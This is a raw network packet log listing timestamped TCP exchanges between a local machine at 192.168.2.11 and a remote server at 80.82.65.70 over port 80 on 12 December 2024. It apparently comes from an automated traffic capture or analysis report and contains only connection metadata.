                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.946165085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.946280003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.946415901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.946480036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.946978092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.947019100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.947078943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.947735071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.947777033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.947782040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.948074102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.948506117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.948561907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.948563099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.948771000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.949254990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.949312925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.949398041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.949510098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004194975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004252911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004430056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004441977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004559040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.004600048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.005238056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.005315065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.005378008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.006099939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.007560015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040158987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040299892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040378094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040445089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040565014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040644884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040698051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.040779114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.041429996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.041466951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.041524887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.042164087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.042304039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.042359114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.042953014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.043045044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.043088913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.043771982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.043843031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.043895006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.044516087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.044562101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.044642925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.045284033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.045342922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.045483112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.045536041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.046063900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.046195984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.046241999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.046950102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.047039032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.047092915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.047669888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.047724009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.047770977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.048450947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.048568964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.048686981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.049246073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.049309015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.049483061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.049596071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.049954891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050045967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050082922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050132990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050741911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050803900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050920963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.050965071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.051537991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.051579952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.051630974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.051647902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.052356958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.052409887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.052472115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.052541971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.053086042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.053148985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.053214073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.053288937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054055929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054126978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054142952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054198980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054708004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054764032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.054912090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.055025101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.119421005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.119573116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.119668007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.119728088 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.119851112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.120019913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.120488882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.120539904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.120611906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.121279955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.121340036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.121371031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122096062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122154951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122236967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122297049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122848988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.122988939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.123035908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.123631954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.123713017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.123785973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.124408960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.124464035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.124620914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.125258923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.125333071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.125379086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.126151085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.126168013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.126260996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.126336098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.126863956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.127108097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.127156973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.127574921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.127634048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.127715111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.128355980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.128415108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.128449917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.129120111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.129247904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.129287004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.129904032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.130028963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.130069971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.130716085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.130750895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.130814075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.131306887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.131503105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.131611109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.131652117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.132249117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.132319927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.132402897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.132460117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133057117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133100986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133100986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133147001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133833885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.133891106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134073973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134124994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134586096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134716034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134718895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.134777069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.135370970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.135436058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.135478973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.135654926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.136162043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.136229038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.136308908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.136380911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.136940956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137057066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137059927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137159109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137712002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137770891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137837887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.137904882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.138499022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.138555050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.138715982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.138781071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.139420986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.139476061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.139533043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.139616966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140111923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140158892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140408993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140481949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140842915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140918016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.140966892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.141041994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.141691923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.141715050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.141772032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196412086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196507931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196566105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196647882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196674109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.196683884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.197369099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.197506905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.197580099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.197596073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.198174953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.198316097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.198378086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.232419014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.232501030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.232681990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.232734919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.232810020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.233558893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.233614922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.233653069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.234056950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.234304905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.234453917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.234503031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.235157013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.235496998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.235539913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.235893011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.235943079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.236022949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.236689091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.236738920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.236819983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.237466097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.237581968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.237587929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.237683058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.238249063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.238289118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.238356113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239025116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239079952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239106894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239671946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239768982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239820004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239897966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.239959002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.240799904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.240823984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.240855932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.240869999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.241430044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.241482973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.241564035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.241626978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.242153883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.242261887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.242324114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.242964029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243036985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243046999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243081093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243710995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243762016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243823051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.243895054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.244570017 CET804981980.82.65.70192.168.2.11
